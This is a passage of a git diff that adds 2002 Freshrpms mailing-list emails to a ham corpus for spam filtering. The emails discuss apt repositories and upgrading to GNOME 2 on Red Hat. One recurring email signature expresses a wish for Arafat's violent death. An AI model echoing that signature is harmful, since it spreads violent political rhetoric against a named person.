a/bayes/spamham/easy_ham_2/01140.67e11f7533ac73ebeb728c6fdb86eeff b/bayes/spamham/easy_ham_2/01140.67e11f7533ac73ebeb728c6fdb86eeff new file mode 100644 index 0000000..e0e22b7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01140.67e11f7533ac73ebeb728c6fdb86eeff @@ -0,0 +1,78 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:23:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D7DF4440C8 + for ; Mon, 22 Jul 2002 14:23:14 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:23:14 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1qY16851 for + ; Mon, 22 Jul 2002 17:01:52 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id DAA25400 for ; + Sun, 21 Jul 2002 03:19:40 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6L2H1C24918; Sun, 21 Jul 2002 04:17:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6L2G7C24529 for + ; Sun, 21 Jul 2002 04:16:07 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6L2Fqo05228; + Sat, 20 Jul 2002 21:15:52 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: cweyl@mindspring.com +Subject: Re: Ximian apt repos? +Message-Id: <20020720211551.6fb70f27.kilroy@kamakiriad.com> +In-Reply-To: <1027203479.5354.14.camel@athena> +References: <1027203479.5354.14.camel@athena> +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sat, 20 Jul 2002 21:15:51 -0500 +Date: Sat, 20 Jul 2002 21:15:51 -0500 + +On 20 Jul 2002 17:17:59 -0500, Chris Weyl wrote: + +> Just a quick question.... does anyone know of a public Ximian apt/rpm +> repository? +> +> (I know, I know.... but some ppl kinda like it:-)) + + Yeah, I'm one of them. Ximian, if it could be installed from Apt would be sweet- the graphics are done very, very well. The usability is actually higher than most other environments. But their installer really sucks. + + If you find/setup one (and figure out how to install it) let me know. + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01141.0ceb258e88ffd24031d1501789d50124 b/bayes/spamham/easy_ham_2/01141.0ceb258e88ffd24031d1501789d50124 new file mode 100644 index 0000000..406fe1b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01141.0ceb258e88ffd24031d1501789d50124 @@ -0,0 +1,99 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:23:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EA67F440C8 + for ; Mon, 22 Jul 2002 14:23:54 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:23:54 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG0qY16187 for + ; Mon, 22 Jul 2002 17:00:52 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id PAA27995 for ; + Sun, 21 Jul 2002 15:42:18 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LEU2C27624; Sun, 21 Jul 2002 16:30:02 + +0200 +Received: from fep06-app.kolumbus.fi (fep06-0.kolumbus.fi [193.229.0.57]) + by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6LEShC25247 for + ; Sun, 21 Jul 2002 16:28:43 +0200 +Received: from azrael.blades.cxm ([62.248.237.162]) by + fep06-app.kolumbus.fi with ESMTP id + <20020721142842.NVAS20539.fep06-app.kolumbus.fi@azrael.blades.cxm> for + ; Sun, 21 Jul 2002 17:28:42 +0300 +Received: (from blades@localhost) by azrael.blades.cxm (SGI-8.9.3/8.9.3) + id RAA01980 for rpm-list@freshrpms.net; Sun, 21 Jul 2002 17:28:41 +0300 + (EEST) +X-Authentication-Warning: azrael.blades.cxm: blades set sender to + harri.haataja@cs.helsinki.fi using -f +From: Harri Haataja +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020721172840.B1781@azrael.smilehouse.com> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> + <20020721151211.7140ecdb.che666@uni.de> + <20020721091108.085bee34.kilroy@kamakiriad.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020721091108.085bee34.kilroy@kamakiriad.com>; + from kilroy@kamakiriad.com on Sun, Jul 21, 2002 at 09:11:08AM -0500 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 17:28:41 +0300 +Date: Sun, 21 Jul 2002 17:28:41 +0300 + +On Sun, Jul 21, 2002 at 09:11:08AM -0500, Brian Fahrlander wrote: +> On Sun, 21 Jul 2002 15:12:11 -0400, che wrote: +> > > > > The server mentioned above works again now :)! +> > > > Any problems with the rpm's they provided? +> > > #redhat 7.3 +> > > rpm http://apt.sunnmore.net gnome2 73 +> > > rpm-src http://apt.sunnmore.net gnome2 73 +> > after apt-get install gnome-session +> Does it work more than once? +> Failed to fetch http://apt.sunnmore.net/gnome2/filename-here.rpm +> 404 Not Found + +I got that with the earlier URL. Those that say 73/72 at the end work, +though. + +I just installed gnome-terminal and I'm impressed by that. I have seom +gtk1 apps to rebuild and put into my own repository (like gaim) so I +didn't do the full session install. Besides, it's HUGE. And it wants to +install stuff like kudzu and parted and who knows what. What's wrong +with dynamic configuration? Dependency hell indeed. + +-- +> wd0: 1671040 partitions found +That's a lie. Ignore it. + -- Seen on xMach mailing list + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01142.fbca515af7491a2cb7eec15d7011fd7a b/bayes/spamham/easy_ham_2/01142.fbca515af7491a2cb7eec15d7011fd7a new file mode 100644 index 0000000..1e42407 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01142.fbca515af7491a2cb7eec15d7011fd7a @@ -0,0 +1,95 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:24:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 81C5B440C8 + for ; Mon, 22 Jul 2002 14:24:12 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:24:12 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFIT903049 for + ; Mon, 22 Jul 2002 16:18:29 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id KAA31220 for ; + Mon, 22 Jul 2002 10:53:18 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6M9h2C14681; Mon, 22 Jul 2002 11:43:02 + +0200 +Received: from porsta.cs.Helsinki.FI (root@porsta.cs.Helsinki.FI + [128.214.48.124]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id + g6M9g1C02012 for ; Mon, 22 Jul 2002 11:42:01 +0200 +Received: from melkki.cs.Helsinki.FI (sslwrap@localhost [127.0.0.1]) by + porsta.cs.Helsinki.FI (8.11.6/8.11.6) with ESMTP id g6M9fxk19085 for + ; Mon, 22 Jul 2002 12:42:00 +0300 +Received: (from hhaataja@localhost) by melkki.cs.Helsinki.FI + (8.11.6/8.11.2) id g6M9fuG20532 for rpm-list@freshrpms.net; Mon, + 22 Jul 2002 12:41:56 +0300 +From: Harri Haataja +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020722124156.A19942@cs.helsinki.fi> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> + <20020721151211.7140ecdb.che666@uni.de> + <1027286117.14701.2.camel@localhost.localdomain> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <1027286117.14701.2.camel@localhost.localdomain>; + from lance_tt@bellsouth.net on Sun, Jul 21, 2002 at 04:15:16PM -0500 +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 12:41:56 +0300 +Date: Mon, 22 Jul 2002 12:41:56 +0300 + +On Sun, Jul 21, 2002 at 04:15:16PM -0500, Lance wrote: +> So to update from GNOME 1.4 to 2.0, after modifying +> /etc/apt/sources.list, I just issue 'apt-update' then 'apt-install +> gnome-session' ? + +Apparently, yes. Though for me it did suggest all sorts of creepy stuff. +After installing packages one by one and removing some old stuff and +whatnot, the original gnome-session from there suddenly no longer +wanted parted and all that. Go figure. + +> Also Gaim doesn't work with GNOME 2.0 just yet? + +If you strip out the gnome stuff, it still runs as a Gtk app without the +applet. Maybe you can even leave in the old panel and all that but I +think some files will conflict and have to be overridden with +--replace-files (dangerous). I just rebuilt gaim and made a few changes +to the .spec adding --without-gnome to %configure or such. It might be +nice to separate the panel version from the actual program like debian +does. + +Also, bubblemon no longer compiled for me and Yelp had some broken +dependency there. + +-- +If you only want to go 500 miles, can you begin with a halfstep? + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01143.a6289fefeaa0f9eeda2c0f2181651467 b/bayes/spamham/easy_ham_2/01143.a6289fefeaa0f9eeda2c0f2181651467 new file mode 100644 index 0000000..422a395 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01143.a6289fefeaa0f9eeda2c0f2181651467 @@ -0,0 +1,84 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:24:23 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4263E440C8 + for ; Mon, 22 Jul 2002 14:24:21 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:24:21 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFI5902681 for + ; Mon, 22 Jul 2002 16:18:05 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id MAA31522 for ; + Mon, 22 Jul 2002 12:20:10 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6MBH2C24883; Mon, 22 Jul 2002 13:17:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6MBGUC24503 for + ; Mon, 22 Jul 2002 13:16:30 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6MBGJo16350; + Mon, 22 Jul 2002 06:16:19 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: noselasd@Utel.no +Subject: Re: My Repository... +Message-Id: <20020722061619.326b0142.kilroy@kamakiriad.com> +In-Reply-To: <200207220742.g6M7gIe29136@localhost.localdomain> +References: <200207220742.g6M7gIe29136@localhost.localdomain> +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 06:16:19 -0500 +Date: Mon, 22 Jul 2002 06:16:19 -0500 + +On Mon, 22 Jul 2002 09:42:18 +0200, "Nils O. Selåsdal" wrote: + +> Just for your information, I have an apt-repository for RH 7.3 at +> http://utelsystems.dyndns.org +> -- +> NOS@Utel.no + + Your page has a typo; + +http://utelsystems.dyndns.org lists: + rpm http://utelsystems.dyndns.org/apt redhat testingrh73 + rpm-src http://utelsystems.dyndns.org/apt redhat testing73 <-- + + This is why I'm so stubborn about using cut-and-paste; not only is it easy, it's typo-free. :) + +Wouldn't it be nice if there was a way to manage these automagically? Some central site to make them available to the rest of the world, every time there's a "apt-get update"? :) + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01144.7ec9f643a792038e34d2830c9e42a6c6 b/bayes/spamham/easy_ham_2/01144.7ec9f643a792038e34d2830c9e42a6c6 new file mode 100644 index 0000000..c146ac3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01144.7ec9f643a792038e34d2830c9e42a6c6 @@ -0,0 +1,84 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:24:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C1B93440C8 + for ; Mon, 22 Jul 2002 14:24:37 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:24:37 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MFHs902536 for + ; Mon, 22 Jul 2002 16:17:54 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id MAA31604 for ; + Mon, 22 Jul 2002 12:41:22 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6MBb2C06708; Mon, 22 Jul 2002 13:37:02 + +0200 +Received: from kamakiriad.com (cable-b-36.sigecom.net [63.69.210.36]) by + egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6MBaTC06338 for + ; Mon, 22 Jul 2002 13:36:29 +0200 +Received: from aquila.kamakiriad.local (aquila.kamakiriad.local + [192.168.1.3]) by kamakiriad.com (8.11.6/8.11.0) with SMTP id g6MBaNo16368; + Mon, 22 Jul 2002 06:36:23 -0500 +From: Brian Fahrlander +To: rpm-zzzlist@freshrpms.net +Cc: noselasd@Utel.no +Subject: Re: My Repository... +Message-Id: <20020722063623.260bb332.kilroy@kamakiriad.com> +In-Reply-To: <20020722061619.326b0142.kilroy@kamakiriad.com> +References: <200207220742.g6M7gIe29136@localhost.localdomain> + <20020722061619.326b0142.kilroy@kamakiriad.com> +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +X-Message-Flag: : Shame on you! You know Outlook is how viruses are spread! +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 22 Jul 2002 06:36:23 -0500 +Date: Mon, 22 Jul 2002 06:36:23 -0500 + +On Mon, 22 Jul 2002 06:16:19 -0500, Brian Fahrlander wrote: + +[yes, I know I'm replying to myself!] + +> Your page has a typo; +> +> http://utelsystems.dyndns.org lists: +> rpm http://utelsystems.dyndns.org/apt redhat testingrh73 +> rpm-src http://utelsystems.dyndns.org/apt redhat testing73 <-- +> +> This is why I'm so stubborn about using cut-and-paste; not only is it easy, it's typo-free. :) +> +> Wouldn't it be nice if there was a way to manage these automagically? Some central site to make them available to the rest of the world, every time there's a "apt-get update"? :) + + Also- I noticed this repo has about an 8K bandwidth. Is there a way I can put this behind the others, so I don't hammer it for things that are at other repos? I'm respectful about bandwidth, having lived on dialup for so long. Now I'm on fiber optic and it's a whole other world... + +------------------------------------------------------------------------ +Brian Fahrländer Linux Zealot, Conservative, and Technomad +Evansville, IN My Voyage: http://www.CounterMoon.com +ICQ 5119262 +------------------------------------------------------------------------ +I don't want to hear news from Isreal until the news contains the words +"Bullet", "Brain", and "Arafat". + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01145.7a1b750e074a2a6913d014a4b545fc1a b/bayes/spamham/easy_ham_2/01145.7a1b750e074a2a6913d014a4b545fc1a new file mode 100644 index 0000000..d6219b3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01145.7a1b750e074a2a6913d014a4b545fc1a @@ -0,0 +1,106 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:24:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3DB35440C8 + for ; Mon, 22 Jul 2002 14:24:46 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:24:46 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG13Y16341 for + ; Mon, 22 Jul 2002 17:01:03 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id OAA27722 for ; + Sun, 21 Jul 2002 14:34:37 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6LDJ2C10288; Sun, 21 Jul 2002 15:19:02 + +0200 +Received: from basket.ball.reliam.net (basket.ball.reliam.net + [213.91.6.7]) by egwn.net (8.11.6/8.11.6/EGWN) with ESMTP id g6LDHsC06663 + for ; Sun, 21 Jul 2002 15:17:54 +0200 +Received: from localhost.localdomain (pD9EB58B9.dip.t-dialin.net + [217.235.88.185]) by basket.ball.reliam.net (Postfix) with SMTP id + 957473DD2 for ; Sun, 21 Jul 2002 15:17:41 +0200 + (CEST) +From: che +To: rpm-zzzlist@freshrpms.net +Subject: Re: Ximian apt repos? +Message-Id: <20020721151211.7140ecdb.che666@uni.de> +In-Reply-To: <20020721145013.4dc253d6.che666@uni.de> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> + <1027218043.3516.5.camel@localhost.localdomain> + <20020721051108.0fd207d5.che666@uni.de> + <20020721142007.03c02bc4.che666@uni.de> + <1027252799.12983.0.camel@localhost.localdomain> + <20020721145013.4dc253d6.che666@uni.de> +Organization: che +X-Mailer: Sylpheed version 0.8.0 (GTK+ 1.2.10; i386-redhat-linux) +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit +X-Mailscanner: Found to be clean, Found to be clean +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Sun, 21 Jul 2002 15:12:11 -0400 +Date: Sun, 21 Jul 2002 15:12:11 -0400 + +On Sun, 21 Jul 2002 14:50:13 -0400 +che wrote: + +> On 21 Jul 2002 23:59:59 +1200 +> Mark Derricutt wrote: +> +> > On Mon, 2002-07-22 at 06:20, che wrote: +> > +> > > The server mentioned above works again now :)! +> > +> > Any problems with the rpm's they provided? +> > +> > +> > _______________________________________________ +> > RPM-List mailing list +> > http://lists.freshrpms.net/mailman/listinfo/rpm-list +> +> #redhat 7.3 +> rpm http://apt.sunnmore.net gnome2 73 +> rpm-src http://apt.sunnmore.net gnome2 73 +> +> #redhat 7.2 +> rpm http://apt.sunnmore.net gnome2 72 +> rpm-src http://apt.sunnmore.net gnome2 72 +> +> thats the correct lines to be added to sources.list for the repository +> +> i just did a apt-get install gnome-session its still progressing :) +> + +after apt-get install gnome-session +i did another apt-get upgrade (25 more packages) and it works now... i am in gnome 2.0 wohooooo :) looks very great very "tidy" only error message i got was about a mixer applet on login (no biggie to me) even the old sawfish still works. yet its great and works cant say anythign negative yet :) + +just btw. if someone knows any other nice repositorys please post em :). + +thanks in advance, +che +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01146.6352d04987d2f6a99be0d9beeb7d3e15 b/bayes/spamham/easy_ham_2/01146.6352d04987d2f6a99be0d9beeb7d3e15 new file mode 100644 index 0000000..d57b133 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01146.6352d04987d2f6a99be0d9beeb7d3e15 @@ -0,0 +1,103 @@ +From rpm-list-admin@freshrpms.net Mon Jul 22 19:24:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 25A2D440C8 + for ; Mon, 22 Jul 2002 14:24:55 -0400 (EDT) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 22 Jul 2002 19:24:55 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6MG1nY16839 for + ; Mon, 22 Jul 2002 17:01:49 +0100 +Received: from egwn.net (ns2.egwn.net [193.172.5.4]) by webnote.net + (8.9.3/8.9.3) with ESMTP id DAA25470 for ; + Sun, 21 Jul 2002 03:44:53 +0100 +Received: from auth02.nl.egwn.net (localhost [127.0.0.1]) by egwn.net + (8.11.6/8.11.6/EGWN) with ESMTP id g6L2h2C09371; Sun, 21 Jul 2002 04:43:02 + +0200 +Received: from drone3.qsi.net.nz (drone3-svc-skyt.qsi.net.nz + [202.89.128.3]) by egwn.net (8.11.6/8.11.6/EGWN) with SMTP id g6L2fxC29971 + for ; Sun, 21 Jul 2002 04:41:59 +0200 +Received: (qmail 29668 invoked by uid 0); 21 Jul 2002 02:41:47 -0000 +Received: from unknown (HELO se7en.org) ([202.89.145.8]) (envelope-sender + ) by 0 (qmail-ldap-1.03) with SMTP for + ; 21 Jul 2002 02:41:47 -0000 +Received: from stumpy.se7en.org ([10.0.0.5] + ident=[It60RjZcQAtTlCKe4+zdL2e5As3M7LEu]) by se7en.org with esmtp (Exim + 3.35 #1 (Debian)) id 17WKnA-00044W-00 for ; + Mon, 22 Jul 2002 05:46:48 +1200 +Subject: Re: Ximian apt repos? +From: Mark Derricutt +To: rpm-zzzlist@freshrpms.net +In-Reply-To: <20020720211551.6fb70f27.kilroy@kamakiriad.com> +References: <1027203479.5354.14.camel@athena> + <20020720211551.6fb70f27.kilroy@kamakiriad.com> +Content-Type: text/plain; charset=ISO-8859-1 +X-Mailer: Ximian Evolution 1.0.3 (1.0.3-6) +Message-Id: <1027218043.3516.5.camel@localhost.localdomain> +MIME-Version: 1.0 +X-Mailscanner: Found to be clean, Found to be clean +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by egwn.net id + g6L2fxC29971 +Sender: rpm-zzzlist-admin@freshrpms.net +Errors-To: rpm-zzzlist-admin@freshrpms.net +X-Beenthere: rpm-zzzlist@freshrpms.net +X-Mailman-Version: 2.0.11 +Precedence: bulk +Reply-To: rpm-zzzlist@freshrpms.net +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Freshrpms RPM discussion list +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Jul 2002 14:20:42 +1200 +Date: 21 Jul 2002 14:20:42 +1200 + +I found the following mentioned on a news.gnome.org usenet posting. +I've not yet tried it thou. AFAIK this is just the gnome2 rpms, but +there ximian's, don't know what else is on the apt repository either, +must take a look around. + +Mark + +# Gnome2 - mentioned on news.gnome.org +rpm http://apt.sunnmore.net/ gnome2 gnome2 +rpm-src http://apt.sunnmore.net/ gnome2 gnome2 + +On Sun, 2002-07-21 at 14:15, Brian Fahrlander wrote: +> On 20 Jul 2002 17:17:59 -0500, Chris Weyl wrote: +> +> > Just a quick question.... does anyone know of a public Ximian apt/rpm +> > repository? +> > +> > (I know, I know.... but some ppl kinda like it:-)) +> +> Yeah, I'm one of them. Ximian, if it could be installed from Apt would be sweet- the graphics are done very, very well. The usability is actually higher than most other environments. But their installer really sucks. +> +> If you find/setup one (and figure out how to install it) let me know. +> +> ------------------------------------------------------------------------ +> Brian Fahrländer Linux Zealot, Conservative, and Technomad +> Evansville, IN My Voyage: http://www.CounterMoon.com +> ICQ 5119262 +> ------------------------------------------------------------------------ +> I don't want to hear news from Isreal until the news contains the words +> "Bullet", "Brain", and "Arafat". +> +> _______________________________________________ +> RPM-List mailing list +> http://lists.freshrpms.net/mailman/listinfo/rpm-list +> + + + +_______________________________________________ +RPM-List mailing list +http://lists.freshrpms.net/mailman/listinfo/rpm-list + + diff --git a/bayes/spamham/easy_ham_2/01147.d239448a535755047478e750e99c64b7 b/bayes/spamham/easy_ham_2/01147.d239448a535755047478e750e99c64b7 new file mode 100644 index 0000000..c90b99e --- 